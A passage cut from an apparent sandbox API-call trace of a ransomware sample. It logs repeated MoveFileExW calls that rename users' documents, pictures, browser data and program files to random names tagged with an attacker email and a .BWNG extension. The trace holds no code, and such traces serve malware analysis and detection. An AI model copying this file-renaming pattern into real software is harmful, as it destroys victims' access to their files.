8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].ff3qwsza-qxerkyzt.bwng"), dwFlags=0x1) returned 1 [0035.640] GetTickCount () returned 0x11541a3 [0035.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17759245900) returned 1 [0035.640] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].ko92Gweu-1beMoREA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].ko92gweu-1bemorea.bwng"), dwFlags=0x1) returned 1 [0035.641] GetTickCount () returned 0x11541a3 [0035.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17759316043) returned 1 [0035.641] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UywLc.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uywlc.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].HfXq3o4W-idZVaCtT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].hfxq3o4w-idzvactt.bwng"), dwFlags=0x1) returned 1 [0035.642] GetTickCount () returned 0x11541a3 [0035.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17759394230) returned 1 [0035.642] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rzeIpzt3BVrhrzzHVNx.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rzeipzt3bvrhrzzhvnx.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].rQfaB3Uu-RCRUVceo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].rqfab3uu-rcruvceo.bwng"), dwFlags=0x1) returned 1 [0035.642] GetTickCount () returned 0x11541a3 [0035.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17759471919) returned 1 [0035.643] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qzncfTdlK.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qzncftdlk.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].XaZWImVy-tPoZNMhT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].xazwimvy-tpoznmht.bwng"), dwFlags=0x1) returned 1 [0035.643] GetTickCount () returned 0x11541a3 [0035.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17759545343) returned 1 [0035.643] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\[billwong73@yahoo.com].atUJTFet-AkBBNhKM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\[billwong73@yahoo.com].atujtfet-akbbnhkm.bwng"), dwFlags=0x1) returned 1 [0035.914] GetTickCount () returned 0x11542bb [0035.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786603394) returned 1 [0035.914] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\[billwong73@yahoo.com].juKY7h05-av0Y5Clx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\[billwong73@yahoo.com].juky7h05-av0y5clx.bwng"), dwFlags=0x1) returned 1 [0035.914] GetTickCount () returned 0x11542bb [0035.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786675696) returned 1 [0035.915] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].qHduhodG-qBY6YKzh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].qhduhodg-qby6ykzh.bwng"), dwFlags=0x1) returned 1 [0035.915] GetTickCount () returned 0x11542bb [0035.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786741830) returned 1 [0035.915] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\gK21yj 9dJADRuLRuSsw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\gk21yj 9djadrulrussw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].7JNwdTAT-CdHSW2tq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].7jnwdtat-cdhsw2tq.bwng"), dwFlags=0x1) returned 1 [0035.916] GetTickCount () returned 0x11542bb [0035.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786804948) returned 1 [0035.916] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].awBHuSL1-AuET07tO.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].awbhusl1-auet07to.bwng"), dwFlags=0x1) returned 1 [0035.916] GetTickCount () returned 0x11542bb [0035.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786865990) returned 1 [0035.917] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\[billwong73@yahoo.com].0Ov5R8a7-yfPGthmy.BWNG" (normalized: "c:\\users\\public\\pictures\\sample pictures\\[billwong73@yahoo.com].0ov5r8a7-yfpgthmy.bwng"), dwFlags=0x1) returned 1 [0035.917] GetTickCount () returned 0x11542bb [0035.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17786930628) returned 1 [0035.917] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\[billwong73@yahoo.com].bFV2T3yQ-aLMD8vpH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\[billwong73@yahoo.com].bfv2t3yq-almd8vph.bwng"), dwFlags=0x1) returned 1 [0035.923] GetTickCount () returned 0x11542bb [0035.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17787541013) returned 1 [0035.923] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\[billwong73@yahoo.com].Q8SfCHK7-lbUk11gD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\[billwong73@yahoo.com].q8sfchk7-lbuk11gd.bwng"), dwFlags=0x1) returned 1 [0035.932] GetTickCount () returned 0x11542cb [0035.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17788435635) returned 1 [0035.932] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\[billwong73@yahoo.com].DF107YNs-2Srb4Snx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\[billwong73@yahoo.com].df107yns-2srb4snx.bwng"), dwFlags=0x1) returned 1 [0035.938] GetTickCount () returned 0x11542cb [0035.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17789071439) returned 1 [0035.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\[billwong73@yahoo.com].E5z9FN0O-8RNC32q7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\[billwong73@yahoo.com].e5z9fn0o-8rnc32q7.bwng"), dwFlags=0x1) returned 1 [0035.951] GetTickCount () returned 0x11542db [0035.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790297206) returned 1 [0035.951] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\[billwong73@yahoo.com].aa8WbEG7-kQjcPMUe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\[billwong73@yahoo.com].aa8wbeg7-kqjcpmue.bwng"), dwFlags=0x1) returned 1 [0035.955] GetTickCount () returned 0x11542db [0035.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790695582) returned 1 [0035.955] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\[billwong73@yahoo.com].V2vZo0gL-esI38xLw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\[billwong73@yahoo.com].v2vzo0gl-esi38xlw.bwng"), dwFlags=0x1) returned 1 [0035.955] GetTickCount () returned 0x11542db [0035.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790759108) returned 1 [0035.955] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\[billwong73@yahoo.com].JjeqxZ0W-TiMH6LyU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\[billwong73@yahoo.com].jjeqxz0w-timh6lyu.bwng"), dwFlags=0x1) returned 1 [0035.956] GetTickCount () returned 0x11542db [0035.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790820233) returned 1 [0035.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\[billwong73@yahoo.com].Gf51LSZ5-mtgHblvx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\[billwong73@yahoo.com].gf51lsz5-mtghblvx.bwng"), dwFlags=0x1) returned 1 [0035.957] GetTickCount () returned 0x11542db [0035.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790880182) returned 1 [0035.957] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].kcAjrdNX-Bgplbb0v.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].kcajrdnx-bgplbb0v.bwng"), dwFlags=0x1) returned 1 [0035.957] GetTickCount () returned 0x11542db [0035.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17790957076) returned 1 [0035.957] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\GKTM vM1oTvT0Ls.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\gktm vm1otvt0ls.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].fwfIXdAM-53xZwIHJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].fwfixdam-53xzwihj.bwng"), dwFlags=0x1) returned 1 [0035.958] GetTickCount () returned 0x11542db [0035.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791023968) returned 1 [0035.958] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].g7UcNmLc-cvABVJa2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].g7ucnmlc-cvabvja2.bwng"), dwFlags=0x1) returned 1 [0035.959] GetTickCount () returned 0x11542ea [0035.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791105573) returned 1 [0035.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].Zl6IXgRU-FRYe0ayo.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].zl6ixgru-frye0ayo.bwng"), dwFlags=0x1) returned 1 [0035.960] GetTickCount () returned 0x11542ea [0035.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791182096) returned 1 [0035.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].IOTEvnIJ-8u6HfHMm.BWNG" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].iotevnij-8u6hfhmm.bwng"), dwFlags=0x1) returned 1 [0035.960] GetTickCount () returned 0x11542ea [0035.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791242672) returned 1 [0035.960] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].Gan1bHlE-NfA0mFlu.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].gan1bhle-nfa0mflu.bwng"), dwFlags=0x1) returned 1 [0035.961] GetTickCount () returned 0x11542ea [0035.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791314014) returned 1 [0035.961] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].G7TnCWL8-JZ4cIDLd.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].g7tncwl8-jz4cidld.bwng"), dwFlags=0x1) returned 1 [0035.962] GetTickCount () returned 0x11542ea [0035.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17791381338) returned 1 [0035.962] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\[billwong73@yahoo.com].uYKKrJYx-66AaDCmt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\[billwong73@yahoo.com].uykkrjyx-66aadcmt.bwng"), dwFlags=0x1) returned 1 [0035.968] GetTickCount () returned 0x11542ea [0035.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17792059000) returned 1 [0035.968] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].ChAdKUVe-XeieBGxR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].chadkuve-xeiebgxr.bwng"), dwFlags=0x1) returned 1 [0035.969] GetTickCount () returned 0x11542ea [0035.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17792140509) returned 1 [0035.969] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\[billwong73@yahoo.com].MrTlnflR-MznShCmj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\[billwong73@yahoo.com].mrtlnflr-mznshcmj.bwng"), dwFlags=0x1) returned 1 [0035.970] GetTickCount () returned 0x11542ea [0035.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17792210624) returned 1 [0035.970] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrobroker.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].dUUlCUAt-BO1Ru3bh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].duulcuat-bo1ru3bh.bwng"), dwFlags=0x1) returned 1 [0036.473] GetTickCount () returned 0x1154480 [0036.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17842865615) returned 1 [0036.480] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\[billwong73@yahoo.com].5TwiVhpR-Al37miuv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\[billwong73@yahoo.com].5twivhpr-al37miuv.bwng"), dwFlags=0x1) returned 1 [0036.487] GetTickCount () returned 0x1154480 [0036.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17843911871) returned 1 [0036.487] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].suVpabn1-rjh7pgEo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].suvpabn1-rjh7pgeo.bwng"), dwFlags=0x1) returned 1 [0036.493] GetTickCount () returned 0x115448f [0036.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17844557628) returned 1 [0036.493] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\[billwong73@yahoo.com].Fg2Ab0XH-3idTkw25.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\[billwong73@yahoo.com].fg2ab0xh-3idtkw25.bwng"), dwFlags=0x1) returned 1 [0036.497] GetTickCount () returned 0x115448f [0036.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17844963541) returned 1 [0036.498] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\[billwong73@yahoo.com].J6fSvUDD-BmQKLCpm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\[billwong73@yahoo.com].j6fsvudd-bmqklcpm.bwng"), dwFlags=0x1) returned 1 [0036.505] GetTickCount () returned 0x115449f [0036.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17845716823) returned 1 [0036.505] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].sYEeVumM-PHInjmq5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].syeevumm-phinjmq5.bwng"), dwFlags=0x1) returned 1 [0036.509] GetTickCount () returned 0x115449f [0036.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17846081875) returned 1 [0036.512] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\[billwong73@yahoo.com].5nwKcoPh-bjCBwZo2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\[billwong73@yahoo.com].5nwkcoph-bjcbwzo2.bwng"), dwFlags=0x1) returned 1 [0036.516] GetTickCount () returned 0x115449f [0036.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: 